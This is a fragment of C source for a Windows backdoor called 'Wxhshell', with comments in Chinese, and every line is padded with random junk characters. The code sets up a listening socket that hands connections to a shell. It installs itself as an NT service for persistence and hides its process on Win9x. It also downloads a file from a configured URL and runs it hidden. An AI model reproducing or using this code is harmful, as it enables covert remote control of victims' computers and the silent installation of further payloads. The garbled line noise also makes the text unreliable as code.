?F7o!B
PROCNTQSIP NtQueryInformationProcess; C/=XuKE-t
+GF#?X0^
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +Qxu$#
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 71fk.16
mee$"Y
HANDLE hProcess; {Qv>q$Q
PROCESS_BASIC_INFORMATION pbi; @+LfQY
_[K"gu
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b'YE9E
if(NULL == hInst ) return 0; b:J(b?
MZ>6o5K|
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FLZWZ;
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S4CbyXW
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ln!'_\{
Oakb'
if (!NtQueryInformationProcess) return 0; $wB^R(f@
bFS>)
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Bux [6O%
if(!hProcess) return 0; Hr<o!e{Y
px;/8c-
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U]|agz>
dXHB #
CloseHandle(hProcess); errH>D~
&fC!(Oy
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DZS]AC*
if(hProcess==NULL) return 0; BYrZEVM9
:1ecx$
HMODULE hMod; :}:3i9e*2
char procName[255]; mmXm\]r>4
unsigned long cbNeeded; V/d/L3p
}x0- V8
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^Xb7[+I6
;Q;[*B=kE
CloseHandle(hProcess); l_tw<`Ep
%V`F!D<D
if(strstr(procName,"services")) return 1; // 以服务启动 #H?t!DU
!$;a[Te
return 0; // 注册表启动 YgUH'P-
} *l+OlQI0+
?>c=}I#Ui-
// 主模块
-t2T(ha
int StartWxhshell(LPSTR lpCmdLine) "9EE1];NT
{ 2&PPz}Sw
SOCKET wsl; iD38\XNMV
BOOL val=TRUE; mW2,1}Jv
int port=0; qBV x6MI
struct sockaddr_in door; 3.d"rl
Y9=K]GB
if(wscfg.ws_autoins) Install(); )4>2IQ
J7D}%
port=atoi(lpCmdLine); f3j{V N
"gtHTqheH
if(port<=0) port=wscfg.ws_port; [H<bh%
O,bkQY$v
WSADATA data; .nu @ o40
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M->*{D@a
VV4Gjc
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; %3q0(Xl
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /MMd`VrC2
door.sin_family = AF_INET; Migd(uw'
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Zn=T#o
door.sin_port = htons(port); kE8>dmH23
Wz4&7KYY
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zya5Jb:Sg
closesocket(wsl); \Ng\B.IQ
return 1; 3f" %G\
} vK7\JZ>
*-W#G}O0
if(listen(wsl,2) == INVALID_SOCKET) { n+@F`]Ke
closesocket(wsl); n\Fp[9+Z\
return 1; &AVpLf:?
} {t"+
3zy'
Wxhshell(wsl); Oa;X+
WSACleanup(); EN{]Qb06A
)#|<w9uec
return 0; 4(}J.-B
D(p\0V
} Jd\apBIf
9)xUA;Qw?z
// 以NT服务方式启动 ah
@uUHB
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :@W.K5
{ NNhL*C[_7
DWORD status = 0; G22NQ~w8
DWORD specificError = 0xfffffff; Pq*s{
V.ht,
~l
serviceStatus.dwServiceType = SERVICE_WIN32; @`tXKP$so
serviceStatus.dwCurrentState = SERVICE_START_PENDING; >Vy>O&r
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 21s4MagC
serviceStatus.dwWin32ExitCode = 0; UYk>'\%H0
serviceStatus.dwServiceSpecificExitCode = 0; w-Nhs6
serviceStatus.dwCheckPoint = 0; ?
J}r
serviceStatus.dwWaitHint = 0; !US d9
8}H1_y-g[
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~\x:<)
if (hServiceStatusHandle==0) return; &l$Q^g
6sIL.S~c)
status = GetLastError(); L9pvG(R%
if (status!=NO_ERROR) ReiB $y6
{ 26X+
}^52
serviceStatus.dwCurrentState = SERVICE_STOPPED; m)V/L]4
serviceStatus.dwCheckPoint = 0; f\'{3I29
serviceStatus.dwWaitHint = 0; !O\;Nua
serviceStatus.dwWin32ExitCode = status; N#lDW~e'
serviceStatus.dwServiceSpecificExitCode = specificError; '$4O!YI9@
SetServiceStatus(hServiceStatusHandle, &serviceStatus); e%8|<g+n6
return; DD" $1o"
} 1/p*tZP8i
{G <kA(Lm
serviceStatus.dwCurrentState = SERVICE_RUNNING; LjL[V'JL
serviceStatus.dwCheckPoint = 0; %WqNiF0-
serviceStatus.dwWaitHint = 0; {`2R,Jb%S
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); UobyK3.%
} H|cNH=
pg]BsJN
// 处理NT服务事件,比如:启动、停止 ,-x!$VqS
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z/rP"|EuQ
{ 1B),A~Ip
switch(fdwControl) Ii7QJ:^
{ ["\;kJ.
case SERVICE_CONTROL_STOP: +,~zWv1v
serviceStatus.dwWin32ExitCode = 0; I^o!n5VM
serviceStatus.dwCurrentState = SERVICE_STOPPED; |ZodlYF
serviceStatus.dwCheckPoint = 0; n wI!O
serviceStatus.dwWaitHint = 0; BpX6aAx
{ n| GaV
SetServiceStatus(hServiceStatusHandle, &serviceStatus); LZMYr
} hhoEb(BA
return; Y#!h9F
case SERVICE_CONTROL_PAUSE: 4f(Kt,0
serviceStatus.dwCurrentState = SERVICE_PAUSED; V\(:@0"
break; OL_{_K(w
case SERVICE_CONTROL_CONTINUE: 8M@BG8
serviceStatus.dwCurrentState = SERVICE_RUNNING; JdZ+Hp3.
break; P0`Mdk371
case SERVICE_CONTROL_INTERROGATE: Y(.OF
Q
break; 6<K6Y5<6
}; 4v[~r1!V
SetServiceStatus(hServiceStatusHandle, &serviceStatus); g$.
\
} ;n|^1S<[
~4q5
k5.,
// 标准应用程序主函数 =]3tUD
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bc
, p}
{ D&HV6#
oD}uOC}FS{
// 获取操作系统版本 E( us'9c
OsIsNt=GetOsVer(); vkLC-Mzm<
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;[RZ0Uy=
nx0K$Ptq
// 从命令行安装 +cU>k}
if(strpbrk(lpCmdLine,"iI")) Install(); qRbf2;
h*u`X>!!
// 下载执行文件 iAa;6mH
if(wscfg.ws_downexe) { "`6n6r42
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (H+'X}1
WinExec(wscfg.ws_filenam,SW_HIDE); $%VuSrZ&
} Qp`gswvE
U-n;xX0=
if(!OsIsNt) { AyMd:5;
// 如果时win9x,隐藏进程并且设置为注册表启动 [pVamE
HideProc(); /c):}PJ^#7
StartWxhshell(lpCmdLine); 4Jx"A\5*G
} PqM1aoyX
else )}9rwZ
if(StartFromService()) xC
C:BO`pw
// 以服务方式启动 ?WE
StartServiceCtrlDispatcher(DispatchTable); m|OO,gR
else h$L"8#
// 普通方式启动 RmZ]"
`
StartWxhshell(lpCmdLine); mDZ*E !B
tE7[Smzuf
return 0; d\|!Hg,
}